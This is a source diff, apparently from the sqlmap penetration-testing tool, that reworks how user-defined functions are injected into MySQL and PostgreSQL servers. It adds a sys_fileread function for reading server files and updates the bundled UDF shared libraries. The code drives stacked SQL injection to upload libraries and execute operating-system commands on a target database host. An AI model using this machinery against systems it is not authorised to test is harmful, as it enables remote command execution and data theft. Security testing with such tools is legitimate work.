diff --git a/lib/takeover/abstraction.py b/lib/takeover/abstraction.py index fd8c7b6aa..b464abae6 100644 --- a/lib/takeover/abstraction.py +++ b/lib/takeover/abstraction.py @@ -157,7 +157,7 @@ class Abstraction(Web, UDF, xp_cmdshell): logger.warn(warnMsg) if kb.dbms in ( "MySQL", "PostgreSQL" ): - self.udfInjectCmd() + self.udfInjectSys() elif kb.dbms == "Microsoft SQL Server": if mandatory: self.xpCmdshellInit() diff --git a/lib/takeover/udf.py b/lib/takeover/udf.py index b4ea8d62f..a4da409fc 100644 --- a/lib/takeover/udf.py +++ b/lib/takeover/udf.py @@ -35,6 +35,7 @@ from lib.core.dump import dumper from lib.core.exception import sqlmapFilePathException from lib.core.exception import sqlmapMissingMandatoryOptionException from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.unescaper import unescaper from lib.request import inject from lib.techniques.outband.stacked import stackedTest @@ -89,21 +90,23 @@ class UDF: self.createSupportTbl(self.cmdTblName, self.tblField, dataType) def udfExecCmd(self, cmd, silent=False, udfName=None): - cmd = urlencode(cmd, convall=True) - if udfName is None: cmd = "'%s'" % cmd udfName = "sys_exec" + cmd = unescaper.unescape(cmd) + cmd = urlencode(cmd, convall=True) + inject.goStacked("SELECT %s(%s)" % (udfName, cmd), silent) def udfEvalCmd(self, cmd, first=None, last=None, udfName=None): - cmd = urlencode(cmd, convall=True) - if udfName is None: cmd = "'%s'" % cmd udfName = "sys_eval" + cmd = unescaper.unescape(cmd) + cmd = urlencode(cmd, convall=True) + inject.goStacked("INSERT INTO %s(%s) VALUES (%s(%s))" % (self.cmdTblName, self.tblField, udfName, cmd)) output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, firstChar=first, lastChar=last) inject.goStacked("DELETE FROM %s" % self.cmdTblName) @@ -116,23 +119,29 @@ class UDF: return output - def checkNeededUdfs(self): + def udfCheckNeeded(self): + if ( not conf.rFile or ( conf.rFile and kb.dbms != "PostgreSQL" ) ) and "sys_fileread" in self.sysUdfs: + self.sysUdfs.pop("sys_fileread") + if not conf.osPwn: self.sysUdfs.pop("sys_bineval") if not conf.osCmd and not conf.osShell and not conf.regRead: self.sysUdfs.pop("sys_eval") - def udfCreateFromSharedLib(self): - errMsg = "udfSetRemotePath() method must be defined within the plugin" - raise sqlmapUnsupportedFeatureException(errMsg) + if not conf.osPwn and not conf.regAdd and not conf.regDel: + self.sysUdfs.pop("sys_exec") def udfSetRemotePath(self): errMsg = "udfSetRemotePath() method must be defined within the plugin" raise sqlmapUnsupportedFeatureException(errMsg) - def udfInjectCmd(self): - errMsg = "udfInjectCmd() method must be defined within the plugin" + def udfSetLocalPaths(self): + errMsg = "udfSetLocalPaths() method must be defined within the plugin" + raise sqlmapUnsupportedFeatureException(errMsg) + + def udfCreateFromSharedLib(self): + errMsg = "udfSetRemotePath() method must be defined within the plugin" raise sqlmapUnsupportedFeatureException(errMsg) def udfInjectCore(self, udfDict): @@ -157,6 +166,11 @@ class UDF: self.udfCreateSupportTbl(supportTblType) + def udfInjectSys(self): + self.udfSetLocalPaths() + self.udfCheckNeeded() + self.udfInjectCore(self.sysUdfs) + def udfInjectCustom(self): if kb.dbms not in ( "MySQL", "PostgreSQL" ): errMsg = "UDF injection feature is not yet implemented on %s" % kb.dbms @@ -286,7 +300,6 @@ class UDF: if isinstance(retType, str) and retType.isdigit(): logger.warn("you need to specify the data-type of the return value") - else: self.udfs[udfName]["return"] = retType break @@ -314,16 +327,13 @@ class UDF: while True: choice = readInput(msg) - if choice[0] in ( "q", "Q" ): + if choice and choice[0] in ( "q", "Q" ): break - - if isinstance(choice, str) and choice.isdigit() and int(choice) > 0 and int(choice) <= len(udfList): + elif isinstance(choice, str) and choice.isdigit() and int(choice) > 0 and int(choice) <= len(udfList): choice = int(choice) break - elif isinstance(choice, int) and choice > 0 and choice <= len(udfList): break - else: warnMsg = "invalid value, only digits >= 1 and " warnMsg += "<= %d are allowed" % len(udfList) diff --git a/plugins/dbms/mysql.py b/plugins/dbms/mysql.py index 5a9153423..eda4cb278 100644 --- a/plugins/dbms/mysql.py +++ b/plugins/dbms/mysql.py @@ -64,7 +64,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): self.__datadir = None self.excludeDbsList = MYSQL_SYSTEM_DBS self.sysUdfs = { - # UDF name: UDF return data-type + # UDF name: UDF return data-type "sys_exec": { "return": "int" }, "sys_eval": { "return": "string" }, "sys_bineval": { "return": "int" } @@ -534,7 +534,18 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): # paths specified in /etc/ld.so.conf file, none of these # paths are writable by mysql user by default self.udfRemoteFile = "/usr/lib/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt) - + + def udfSetLocalPaths(self): + self.udfLocalFile = paths.SQLMAP_UDF_PATH + self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True) + + if kb.os == "Windows": + self.udfLocalFile += "/mysql/windows/lib_mysqludf_sys.dll" + self.udfSharedLibExt = "dll" + else: + self.udfLocalFile += "/mysql/linux/lib_mysqludf_sys.so" + self.udfSharedLibExt = "so" + def udfCreateFromSharedLib(self, udf, inpRet): if udf in self.udfToCreate: logger.info("creating UDF '%s' from the binary UDF file" % udf) @@ -548,21 +559,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): self.createdUdf.add(udf) else: logger.debug("keeping existing UDF '%s' as requested" % udf) - - def udfInjectCmd(self): - self.udfLocalFile = paths.SQLMAP_UDF_PATH - self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True) - if kb.os == "Windows": - self.udfLocalFile += "/mysql/windows/lib_mysqludf_sys.dll" - self.udfSharedLibExt = "dll" - else: - self.udfLocalFile += "/mysql/linux/lib_mysqludf_sys.so" - self.udfSharedLibExt = "so" - - self.checkNeededUdfs() - self.udfInjectCore(self.sysUdfs) - def uncPathRequest(self): if not kb.stackedTest: query = agent.prefixQuery(" AND LOAD_FILE('%s')" % self.uncPath) diff --git a/plugins/dbms/postgresql.py b/plugins/dbms/postgresql.py index 3f54a4943..6b8624846 100644 --- a/plugins/dbms/postgresql.py +++ b/plugins/dbms/postgresql.py @@ -61,19 +61,11 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove def __init__(self): self.excludeDbsList = PGSQL_SYSTEM_DBS self.sysUdfs = { - # UDF name: UDF parameters' input data-type and return data-type - "sys_exec": { - "input": [ "text" ], - "return": "int4" - }, - "sys_eval": { - "input": [ "text" ], - "return": "text" - }, - "sys_bineval": { - "input": [ "text" ], - "return": "int4" - } + # UDF name: UDF parameters' input data-type and return data-type + "sys_exec": { "input": [ "text" ], "return": "int4" }, + "sys_eval": { "input": [ "text" ], "return": "text" }, + "sys_bineval": { "input": [ "text" ], "return": "int4" }, + "sys_fileread": { "input": [ "text" ], "return": "text" } } Enumeration.__init__(self, "PostgreSQL") @@ -301,40 +293,12 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove raise sqlmapUnsupportedFeatureException, errMsg def stackedReadFile(self, rFile): - warnMsg = "binary file read on PostgreSQL is not yet supported, " - warnMsg += "if the requested file is binary, its content will not " - warnMsg += "be retrieved" - logger.warn(warnMsg) - infoMsg = "fetching file: '%s'" % rFile logger.info(infoMsg) - result = [] + self.initEnv() - self.createSupportTbl(self.fileTblName, self.tblField, "bytea") - - logger.debug("loading the content of file '%s' into support table" % rFile) - inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, rFile)) - - if kb.unionPosition: - result = inject.getValue("SELECT ENCODE(%s, 'base64') FROM %s" % (self.tblField, self.fileTblName), unpack=False, resumeValue=False, sort=False) - - if not result: - result = [] - count = inject.getValue("SELECT COUNT(%s) FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, charsetType=2) - - if not count.isdigit() or not len(count) or count == "0": - errMsg = "unable to retrieve the content of the " - errMsg += "file '%s'" % rFile - raise sqlmapNoneDataException, errMsg - - indexRange = getRange(count) - - for index in indexRange: - chunk = inject.getValue("SELECT ENCODE(%s, 'base64') FROM %s OFFSET %d LIMIT 1" % (self.tblField, self.fileTblName, index), unpack=False, resumeValue=False, sort=False) - result.append(chunk) - - return result + return self.udfEvalCmd(cmd="'%s'" % rFile, udfName="sys_fileread") def unionWriteFile(self, wFile, dFile, fileType, confirm=True): errMsg = "PostgreSQL does not support file upload with UNION " @@ -429,22 +393,7 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove # read/write/execute access is valid self.udfRemoteFile = "/tmp/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt) - def udfCreateFromSharedLib(self, udf, inpRet): - if udf in self.udfToCreate: - logger.info("creating UDF '%s' from the binary UDF file" % udf) - - inp = ", ".join(i for i in inpRet["input"]) - ret = inpRet["return"] - - # Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html - inject.goStacked("DROP FUNCTION %s" % udf) - inject.goStacked("CREATE OR REPLACE FUNCTION %s(%s) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, inp, ret, self.udfRemoteFile, udf)) - - self.createdUdf.add(udf) - else: - logger.debug("keeping existing UDF '%s' as requested" % udf) - - def udfInjectCmd(self): + def udfSetLocalPaths(self): self.udfLocalFile = paths.SQLMAP_UDF_PATH self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True) @@ -469,8 +418,20 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove self.udfLocalFile += "/postgresql/linux/%s/lib_postgresqludf_sys.so" % majorVer self.udfSharedLibExt = "so" - self.checkNeededUdfs() - self.udfInjectCore(self.sysUdfs) + def udfCreateFromSharedLib(self, udf, inpRet): + if udf in self.udfToCreate: + logger.info("creating UDF '%s' from the binary UDF file" % udf) + + inp = ", ".join(i for i in inpRet["input"]) + ret = inpRet["return"] + + # Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html + inject.goStacked("DROP FUNCTION %s" % udf) + inject.goStacked("CREATE OR REPLACE FUNCTION %s(%s) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, inp, ret, self.udfRemoteFile, udf)) + + self.createdUdf.add(udf) + else: + logger.debug("keeping existing UDF '%s' as requested" % udf) def uncPathRequest(self): self.createSupportTbl(self.fileTblName, self.tblField, "text") diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py index 0d3677fa0..537d7e419 100644 --- a/plugins/generic/filesystem.py +++ b/plugins/generic/filesystem.py @@ -285,12 +285,7 @@ class Filesystem: fileContent = newFileContent - if kb.dbms in ( "MySQL", "Microsoft SQL Server" ): - fileContent = self.__unhexString(fileContent) - - elif kb.dbms == "PostgreSQL": - fileContent = self.__unbase64String(fileContent) - + fileContent = self.__unhexString(fileContent) rFilePath = dataToOutFile(fileContent) self.cleanup(onlyFileTbl=True) diff --git a/udf/postgresql/linux/8.3/lib_postgresqludf_sys.so b/udf/postgresql/linux/8.3/lib_postgresqludf_sys.so index 3b7cebe1c..25eef4ee6 100755 Binary files a/udf/postgresql/linux/8.3/lib_postgresqludf_sys.so and b/udf/postgresql/linux/8.3/lib_postgresqludf_sys.so differ diff --git a/udf/postgresql/linux/8.4/lib_postgresqludf_sys.so b/udf/postgresql/linux/8.4/lib_postgresqludf_sys.so index 7cb3e6ead..24e0f8018 100755 Binary files a/udf/postgresql/linux/8.4/lib_postgresqludf_sys.so and b/udf/postgresql/linux/8.4/lib_postgresqludf_sys.so differ diff --git a/udf/postgresql/windows/8.3/lib_postgresqludf_sys.dll b/udf/postgresql/windows/8.3/lib_postgresqludf_sys.dll index 7cb3eb4d2..4d7c43b48 100755 Binary files a/udf/postgresql/windows/8.3/lib_postgresqludf_sys.dll and b/udf/postgresql/windows/8.3/lib_postgresqludf_sys.dll differ diff --git a/udf/postgresql/windows/8.4/lib_postgresqludf_sys.dll b/udf/postgresql/windows/8.4/lib_postgresqludf_sys.dll index 2e2c8000c..a3282fb0a 100755 Binary files a/udf/postgresql/windows/8.4/lib_postgresqludf_sys.dll and b/udf/postgresql/windows/8.4/lib_postgresqludf_sys.dll differ